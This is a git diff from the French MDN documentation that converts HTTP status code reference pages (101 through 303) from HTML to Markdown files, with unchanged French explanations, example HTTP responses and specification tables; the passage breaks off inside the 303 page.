- - diff --git a/files/fr/web/http/status/101/index.md b/files/fr/web/http/status/101/index.md new file mode 100644 index 0000000000..7f8aa0307e --- /dev/null +++ b/files/fr/web/http/status/101/index.md @@ -0,0 +1,51 @@ +--- +title: 101 Switching Protocol +slug: Web/HTTP/Status/101 +tags: + - Code de statut + - HTTP + - Informatif + - Reference + - WebSockets +translation_of: Web/HTTP/Status/101 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse HTTP 101 Switching Protocol indique que le protocole a changé, comme demandé par le client via l'en-tête {{HTTPHeader("Upgrade")}}.

+ +

Le serveur envoie alors une réponse avec un en-tête {{HTTPHeader("Upgrade")}} qui indique le nouveau protocole utilisé.

+ +

Statut

+ +
101 Switching Protocol
+ +

Exemples

+ +

Les changements de protocole peuvent être utilisés avec WebSockets.

+ +
HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/103/index.html b/files/fr/web/http/status/103/index.html deleted file mode 100644 index a3ae54084a..0000000000 --- a/files/fr/web/http/status/103/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: 103 Early Hints -slug: Web/HTTP/Status/103 -tags: - - HTTP - - Reference - - Statut -translation_of: Web/HTTP/Status/103 ---- -

{{HTTPSidebar}}{{Draft}}

- -

Le code de statut de réponse  103 Early Hints est principalement utilisé avec l'en-tête HTTP {{HTTPHeader("Link")}} afin de permettre à l'application cliente de commencer le chargement des ressources tandis que le serveur prépare une réponse.

- -

Syntaxe

- -
103 Early Hints
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaire
{{RFC(8297, "103 Early Hints")}}IETF RFCPremière version
- -

Compatibilité des navigateurs

- - - -

{{Compat("http.status.103")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/103/index.md b/files/fr/web/http/status/103/index.md new file mode 100644 index 0000000000..a3ae54084a --- /dev/null +++ b/files/fr/web/http/status/103/index.md @@ -0,0 +1,47 @@ +--- +title: 103 Early Hints +slug: Web/HTTP/Status/103 +tags: + - HTTP + - Reference + - Statut +translation_of: Web/HTTP/Status/103 +--- +

{{HTTPSidebar}}{{Draft}}

+ +

Le code de statut de réponse  103 Early Hints est principalement utilisé avec l'en-tête HTTP {{HTTPHeader("Link")}} afin de permettre à l'application cliente de commencer le chargement des ressources tandis que le serveur prépare une réponse.

+ +

Syntaxe

+ +
103 Early Hints
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaire
{{RFC(8297, "103 Early Hints")}}IETF RFCPremière version
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http.status.103")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/200/index.html b/files/fr/web/http/status/200/index.html deleted file mode 100644 index d9b45d22af..0000000000 --- a/files/fr/web/http/status/200/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: 200 OK -slug: Web/HTTP/Status/200 -tags: - - Code de statut - - HTTP -translation_of: Web/HTTP/Status/200 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 200 OK indique la réussite d'une requête. Une réponse 200 peut être mise en cache par défaut.

- -

La signification de la réussite dépend de la méthode de requête HTTP :

- - - -

La plupart du temps, le résultat d'une requête réussie avec la méthode {{HTTPMethod("PUT")}} ou  {{HTTPMethod("DELETE")}} n'est pas 200 OK mais plutôt {{HTTPStatus("204")}} No Content (ou {{HTTPStatus("201")}} Created lorsque la ressource est envoyée pour la première fois).

- -

Statut

- -
200 OK
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "200 OK" , "6.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "200")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/200/index.md b/files/fr/web/http/status/200/index.md new file mode 100644 index 0000000000..d9b45d22af --- /dev/null +++ b/files/fr/web/http/status/200/index.md @@ -0,0 +1,51 @@ +--- +title: 200 OK +slug: Web/HTTP/Status/200 +tags: + - Code de statut + - HTTP +translation_of: Web/HTTP/Status/200 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 200 OK indique la réussite d'une requête. Une réponse 200 peut être mise en cache par défaut.

+ +

La signification de la réussite dépend de la méthode de requête HTTP :

+ + + +

La plupart du temps, le résultat d'une requête réussie avec la méthode {{HTTPMethod("PUT")}} ou  {{HTTPMethod("DELETE")}} n'est pas 200 OK mais plutôt {{HTTPStatus("204")}} No Content (ou {{HTTPStatus("201")}} Created lorsque la ressource est envoyée pour la première fois).

+ +

Statut

+ +
200 OK
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "200 OK" , "6.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "200")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/201/index.html b/files/fr/web/http/status/201/index.html deleted file mode 100644 index 7e4dab93f9..0000000000 --- a/files/fr/web/http/status/201/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: 201 Created -slug: Web/HTTP/Status/201 -browser-compat: http.status.201 -translation_of: Web/HTTP/Status/201 ---- -
{{HTTPSidebar}}
- -

Le code de statut HTTP 201 Created indique que la requête a réussi et qu'une ressource a été créée en conséquence. La nouvelle ressource est effectivement créée avant que la réponse soit renvoyée et cette nouvelle ressource est renvoyée dans le corps du message. Son emplacement est indiqué par l'URL de la requête ou le contenu de l'en-tête Location.

- -

Ce code de statut est généralement obtenu comme résultat suite à une requête utilisant la méthode POST.

- -

Statut

- -
201 Created
- -

Spécifications

- -

{{Specifications}}

- -

Compatibilité des navigateurs

- -

{{Compat}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/201/index.md b/files/fr/web/http/status/201/index.md new file mode 100644 index 0000000000..7e4dab93f9 --- /dev/null +++ b/files/fr/web/http/status/201/index.md @@ -0,0 +1,29 @@ +--- +title: 201 Created +slug: Web/HTTP/Status/201 +browser-compat: http.status.201 +translation_of: Web/HTTP/Status/201 +--- +
{{HTTPSidebar}}
+ +

Le code de statut HTTP 201 Created indique que la requête a réussi et qu'une ressource a été créée en conséquence. La nouvelle ressource est effectivement créée avant que la réponse soit renvoyée et cette nouvelle ressource est renvoyée dans le corps du message. Son emplacement est indiqué par l'URL de la requête ou le contenu de l'en-tête Location.

+ +

Ce code de statut est généralement obtenu comme résultat suite à une requête utilisant la méthode POST.

+ +

Statut

+ +
201 Created
+ +

Spécifications

+ +

{{Specifications}}

+ +

Compatibilité des navigateurs

+ +

{{Compat}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/202/index.html b/files/fr/web/http/status/202/index.html deleted file mode 100644 index 199daa9a97..0000000000 --- a/files/fr/web/http/status/202/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: 202 Accepted -slug: Web/HTTP/Status/202 -tags: - - Code de statut - - HTTP - - Reference -translation_of: Web/HTTP/Status/202 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 202 Accepted indique que la requête a été reçue mais qu'aucune action n'a encore été entreprise. Cette réponse est sans suite (non-committal) : HTTP ne renverra pas de réponse asynchrone ultérieure pour indiquer le résultat du traitement de la requête. Ce code est utile pour les cas où c'est un autre processus ou serveur qui gère la requête (ou lorsqu'on effectue un traitement en masse).

- -

Statut

- -
202 Accepted
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "202 Accepted" , "6.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/202/index.md b/files/fr/web/http/status/202/index.md new file mode 100644 index 0000000000..199daa9a97 --- /dev/null +++ b/files/fr/web/http/status/202/index.md @@ -0,0 +1,37 @@ +--- +title: 202 Accepted +slug: Web/HTTP/Status/202 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/202 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 202 Accepted indique que la requête a été reçue mais qu'aucune action n'a encore été entreprise. Cette réponse est sans suite (non-committal) : HTTP ne renverra pas de réponse asynchrone ultérieure pour indiquer le résultat du traitement de la requête. Ce code est utile pour les cas où c'est un autre processus ou serveur qui gère la requête (ou lorsqu'on effectue un traitement en masse).

+ +

Statut

+ +
202 Accepted
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "202 Accepted" , "6.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/203/index.html b/files/fr/web/http/status/203/index.html deleted file mode 100644 index 0daa15e15f..0000000000 --- a/files/fr/web/http/status/203/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: 203 Non-Authoritative Information -slug: Web/HTTP/Status/203 -tags: - - Code de statut - - HTTP - - Reference -translation_of: Web/HTTP/Status/203 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 203 Non-Authoritative Information indique que la requête a réussi mais que le contenu a été modifié entre la réponse {{HTTPStatus("200")}} (OK)  du serveur original par un {{Glossary("Proxy server", "proxy")}} transformant.

- -

La réponse 203 est similaire au code d'en-tête 214 (Transformation Applied) {{HTTPHeader("Warning")}}, qui a l'avantage d'être applicable à tout code de statut.

- -

Statut

- -
203 Non-Authoritative Information
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/203/index.md b/files/fr/web/http/status/203/index.md new file mode 100644 index 0000000000..0daa15e15f --- /dev/null +++ b/files/fr/web/http/status/203/index.md @@ -0,0 +1,41 @@ +--- +title: 203 Non-Authoritative Information +slug: Web/HTTP/Status/203 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/203 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 203 Non-Authoritative Information indique que la requête a réussi mais que le contenu a été modifié entre la réponse {{HTTPStatus("200")}} (OK)  du serveur original par un {{Glossary("Proxy server", "proxy")}} transformant.

+ +

La réponse 203 est similaire au code d'en-tête 214 (Transformation Applied) {{HTTPHeader("Warning")}}, qui a l'avantage d'être applicable à tout code de statut.

+ +

Statut

+ +
203 Non-Authoritative Information
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/204/index.html b/files/fr/web/http/status/204/index.html deleted file mode 100644 index 22517a0fae..0000000000 --- a/files/fr/web/http/status/204/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: 204 No Content -slug: Web/HTTP/Status/204 -tags: - - Code de statut - - HTTP -translation_of: Web/HTTP/Status/204 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 204 No Content indique que la requête a réussi mais que le client n'a pas besoin de quitter la page actuelle. Par défaut, une réponse 204 peut être mise en cache. Un en-tête {{HTTPHeader("ETag")}} est inclus pour ce type de réponse.

- -

Généralement, ce code est renvoyé lorsque le résultat d'une requête {{HTTPMethod("PUT")}} et qu'une ressource est mise à jour, sans modifier le contenu actuel de la page affichée à l'utilisateur. Si la ressource est créée, c'est le code de statut {{HTTPStatus("201")}} Created qui sera renvoyé à la place. Si la page doit être actualisée avec une nouvelle page mise à jour, c'est le code de statut {{HTTPStatus("200")}} qui doit être utilisé à la place.

- -

Statut

- -
204 No Content
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "204 No Content" , "6.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "204")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/204/index.md b/files/fr/web/http/status/204/index.md new file mode 100644 index 0000000000..22517a0fae --- /dev/null +++ b/files/fr/web/http/status/204/index.md @@ -0,0 +1,42 @@ +--- +title: 204 No Content +slug: Web/HTTP/Status/204 +tags: + - Code de statut + - HTTP +translation_of: Web/HTTP/Status/204 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 204 No Content indique que la requête a réussi mais que le client n'a pas besoin de quitter la page actuelle. Par défaut, une réponse 204 peut être mise en cache. Un en-tête {{HTTPHeader("ETag")}} est inclus pour ce type de réponse.

+ +

Généralement, ce code est renvoyé lorsque le résultat d'une requête {{HTTPMethod("PUT")}} et qu'une ressource est mise à jour, sans modifier le contenu actuel de la page affichée à l'utilisateur. Si la ressource est créée, c'est le code de statut {{HTTPStatus("201")}} Created qui sera renvoyé à la place. Si la page doit être actualisée avec une nouvelle page mise à jour, c'est le code de statut {{HTTPStatus("200")}} qui doit être utilisé à la place.

+ +

Statut

+ +
204 No Content
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "204 No Content" , "6.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "204")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/205/index.html b/files/fr/web/http/status/205/index.html deleted file mode 100644 index d85c53b4a5..0000000000 --- a/files/fr/web/http/status/205/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: 205 Reset Content -slug: Web/HTTP/Status/205 -tags: - - Code de statut - - HTTP - - Reference -translation_of: Web/HTTP/Status/205 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 205 Reset Content indique au client de réinitialiser la vue du document, par exemple afin de nettoyer le contenu d'un formulaire, réinitialiser l'état d'un canevas ({{HTMLElement("canvas")}}, ou pour mettre à jour l'interface utilisateur.

- -

Statut

- -
205 Reset Content
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "205 Reset Content" , "6.3.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/205/index.md b/files/fr/web/http/status/205/index.md new file mode 100644 index 0000000000..d85c53b4a5 --- /dev/null +++ b/files/fr/web/http/status/205/index.md @@ -0,0 +1,37 @@ +--- +title: 205 Reset Content +slug: Web/HTTP/Status/205 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/205 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 205 Reset Content indique au client de réinitialiser la vue du document, par exemple afin de nettoyer le contenu d'un formulaire, réinitialiser l'état d'un canevas ({{HTMLElement("canvas")}}, ou pour mettre à jour l'interface utilisateur.

+ +

Statut

+ +
205 Reset Content
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "205 Reset Content" , "6.3.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/206/index.html b/files/fr/web/http/status/206/index.html deleted file mode 100644 index 1d975a9ed9..0000000000 --- a/files/fr/web/http/status/206/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: 206 Partial Content -slug: Web/HTTP/Status/206 -tags: - - Code de statut - - HTTP -translation_of: Web/HTTP/Status/206 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse succès HTTP 206 Partial Content indique que la requête a bien abouti et que le corps de la réponse contient les plages de données demandées, tel que décrit dans l'en-tête {{HTTPHeader("Range")}} de la requête.

- -

S'il n'y a qu'une seule plage, l'entête {{HTTPHeader("Content-Type")}} de la réponse correspondra au type du document et l'en-tête {{HTTPHeader("Content-Range")}} sera fourni.

- -

Si plusieurs plages sont renvoyées, l'en-tête {{HTTPHeader("Content-Type")}} vaudra multipart/byteranges et chaque fragment couvrira une plage, décrite par les en-têtes {{HTTPHeader("Content-Range")}} et {{HTTPHeader("Content-Type")}}.

- -

Statut

- -
206 Partial Content
- -

Exemples

- -

Une réponse qui contient une seule plage :

- -
HTTP/1.1 206 Partial Content
-Date: Wed, 15 Nov 2015 06:25:24 GMT
-Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
-Content-Range: bytes 21010-47021/47022
-Content-Length: 26012
-Content-Type: image/gif
-
-... 26012 bytes of partial image data ...
- -

Une réponse qui contient plusieurs plages :

- -
HTTP/1.1 206 Partial Content
-Date: Wed, 15 Nov 2015 06:25:24 GMT
-Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
-Content-Length: 1741
-Content-Type: multipart/byteranges; boundary=String_separator
-
---String_separator
-Content-Type: application/pdf
-Content-Range: bytes 234-639/8000
-
-...la première plage...
---String_separator
-Content-Type: application/pdf
-Content-Range: bytes 4590-7999/8000
-
-...La seconde plage
---String_separator--
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7233", "206 Partial Content" , "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "206")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/206/index.md b/files/fr/web/http/status/206/index.md new file mode 100644 index 0000000000..1d975a9ed9 --- /dev/null +++ b/files/fr/web/http/status/206/index.md @@ -0,0 +1,80 @@ +--- +title: 206 Partial Content +slug: Web/HTTP/Status/206 +tags: + - Code de statut + - HTTP +translation_of: Web/HTTP/Status/206 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse succès HTTP 206 Partial Content indique que la requête a bien abouti et que le corps de la réponse contient les plages de données demandées, tel que décrit dans l'en-tête {{HTTPHeader("Range")}} de la requête.

+ +

S'il n'y a qu'une seule plage, l'entête {{HTTPHeader("Content-Type")}} de la réponse correspondra au type du document et l'en-tête {{HTTPHeader("Content-Range")}} sera fourni.

+ +

Si plusieurs plages sont renvoyées, l'en-tête {{HTTPHeader("Content-Type")}} vaudra multipart/byteranges et chaque fragment couvrira une plage, décrite par les en-têtes {{HTTPHeader("Content-Range")}} et {{HTTPHeader("Content-Type")}}.

+ +

Statut

+ +
206 Partial Content
+ +

Exemples

+ +

Une réponse qui contient une seule plage :

+ +
HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Range: bytes 21010-47021/47022
+Content-Length: 26012
+Content-Type: image/gif
+
+... 26012 bytes of partial image data ...
+ +

Une réponse qui contient plusieurs plages :

+ +
HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Length: 1741
+Content-Type: multipart/byteranges; boundary=String_separator
+
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 234-639/8000
+
+...la première plage...
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 4590-7999/8000
+
+...La seconde plage
+--String_separator--
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7233", "206 Partial Content" , "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "206")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/300/index.html b/files/fr/web/http/status/300/index.html deleted file mode 100644 index 3bdd91ec34..0000000000 --- a/files/fr/web/http/status/300/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: 300 Multiple Choices -slug: Web/HTTP/Status/300 -tags: - - Code de statut - - HTTP - - Reference -translation_of: Web/HTTP/Status/300 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse 300 Multiple Choices indique qu'il existe plusieurs réponses possibles pour la requête. L'agent utilisateur ou l'utilisateur doit alors choisir l'une d'elles. Il n'y a pas de méthode standard pour choisir une des réponses disponibles et ce code de réponse est donc rarement utilisé.

- -

Si le serveur à une préférence, il doit générer un en-tête {{HTTPHeader("Location")}}.

- -

Statut

- -
300 Multiple Choices
- -

Exemples

- -

Consultez cette page de w3.org à propos des réponses à choix multiples.

- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/300/index.md b/files/fr/web/http/status/300/index.md new file mode 100644 index 0000000000..3bdd91ec34 --- /dev/null +++ b/files/fr/web/http/status/300/index.md @@ -0,0 +1,45 @@ +--- +title: 300 Multiple Choices +slug: Web/HTTP/Status/300 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/300 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse 300 Multiple Choices indique qu'il existe plusieurs réponses possibles pour la requête. L'agent utilisateur ou l'utilisateur doit alors choisir l'une d'elles. Il n'y a pas de méthode standard pour choisir une des réponses disponibles et ce code de réponse est donc rarement utilisé.

+ +

Si le serveur à une préférence, il doit générer un en-tête {{HTTPHeader("Location")}}.

+ +

Statut

+ +
300 Multiple Choices
+ +

Exemples

+ +

Consultez cette page de w3.org à propos des réponses à choix multiples.

+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/301/index.html b/files/fr/web/http/status/301/index.html deleted file mode 100644 index 687d38dd1c..0000000000 --- a/files/fr/web/http/status/301/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: 301 Moved Permanently -slug: Web/HTTP/Status/301 -tags: - - Code de statut - - HTTP - - Reference -translation_of: Web/HTTP/Status/301 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse de redirection 301 Moved Permanently indique que la ressource a définitivement été déplacée à l'URL contenue dans l'en-tête  {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL).

- -

Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code 301 uniquement pour répondre à une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}, et de privilégier le code {{HTTPStatus("308")}} Permanent Redirect pour répondre à {{HTTPMethod("POST")}} puisque le changement de méthode est explicitement interdit avec ce statut.

- -

Statut

- -
301 Moved Permanently
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "301 Redirect Permanently" , "6.4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "301")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/301/index.md b/files/fr/web/http/status/301/index.md new file mode 100644 index 0000000000..687d38dd1c --- /dev/null +++ b/files/fr/web/http/status/301/index.md @@ -0,0 +1,44 @@ +--- +title: 301 Moved Permanently +slug: Web/HTTP/Status/301 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/301 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse de redirection 301 Moved Permanently indique que la ressource a définitivement été déplacée à l'URL contenue dans l'en-tête  {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL).

+ +

Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code 301 uniquement pour répondre à une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}, et de privilégier le code {{HTTPStatus("308")}} Permanent Redirect pour répondre à {{HTTPMethod("POST")}} puisque le changement de méthode est explicitement interdit avec ce statut.

+ +

Statut

+ +
301 Moved Permanently
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "301 Redirect Permanently" , "6.4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "301")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/302/index.html b/files/fr/web/http/status/302/index.html deleted file mode 100644 index dc596476b3..0000000000 --- a/files/fr/web/http/status/302/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: 302 Found -slug: Web/HTTP/Status/302 -tags: - - Code de statut - - HTTP - - Reference - - redirections -translation_of: Web/HTTP/Status/302 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse de redirection 302 Found indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page, mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL).

- -

Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est toujours possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code 302 uniquement comme réponse à une méthode {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et d'utiliser le code  {{HTTPStatus("307")}} Temporary Redirect à la place puisque le changement de méthode est explicitement interdit dans ce cas.

- -

Si vous souhaitez que la méthode utilisée soit changée en {{HTTPMethod("GET")}}, vous pouvez utiliser {{HTTPStatus("303")}} See Also à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} qui n'est pas la ressource téléversée, mais plutôt un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ").

- -

Statut

- -
302 Found
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "302 Found" , "6.4.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "302")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/302/index.md b/files/fr/web/http/status/302/index.md new file mode 100644 index 0000000000..dc596476b3 --- /dev/null +++ b/files/fr/web/http/status/302/index.md @@ -0,0 +1,48 @@ +--- +title: 302 Found +slug: Web/HTTP/Status/302 +tags: + - Code de statut + - HTTP + - Reference + - redirections +translation_of: Web/HTTP/Status/302 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse de redirection 302 Found indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page, mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL).

+ +

Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est toujours possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code 302 uniquement comme réponse à une méthode {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et d'utiliser le code  {{HTTPStatus("307")}} Temporary Redirect à la place puisque le changement de méthode est explicitement interdit dans ce cas.

+ +

Si vous souhaitez que la méthode utilisée soit changée en {{HTTPMethod("GET")}}, vous pouvez utiliser {{HTTPStatus("303")}} See Also à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} qui n'est pas la ressource téléversée, mais plutôt un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ").

+ +

Statut

+ +
302 Found
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "302 Found" , "6.4.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "302")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/303/index.html b/files/fr/web/http/status/303/index.html deleted file mode 100644 index 5e6def829e..0000000000 --- a/files/fr/web/http/status/303/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: 303 See Other -slug: Web/HTTP/Status/303 -tags: - - Code de statut - - HTTP - - Référence(2) -translation_of: Web/HTTP/Status/303 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse de redirection 303 See Other, généralement renvoyé comme résultat d'une opération {{HTTPMethod("PUT")}} ou {{HTTPMethod("POST")}}, indique que la redirection ne fait pas le lien vers la ressource nouvellement téléversé mais vers une autre page (par exemple une page de confirmation ou qui affiche l'avancement du téléversement). La méthode utilisée pour afficher la page redirigée est toujours {{HTTPMethod("GET")}}.

- -

Statut

- -
303 See Other
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "303 See Other" , "6.4.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "303")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/303/index.md b/files/fr/web/http/status/303/index.md new file mode 100644 index 0000000000..5e6def829e --- /dev/null +++ b/files/fr/web/http/status/303/index.md @@ -0,0 +1,41 @@ +--- +title: 303 See Other +slug: Web/HTTP/Status/303 +tags: + - Code de statut + - HTTP + - Référence(2) +translation_of: Web/HTTP/Status/303 +--- +
{{HTTPSidebar}}
+ +

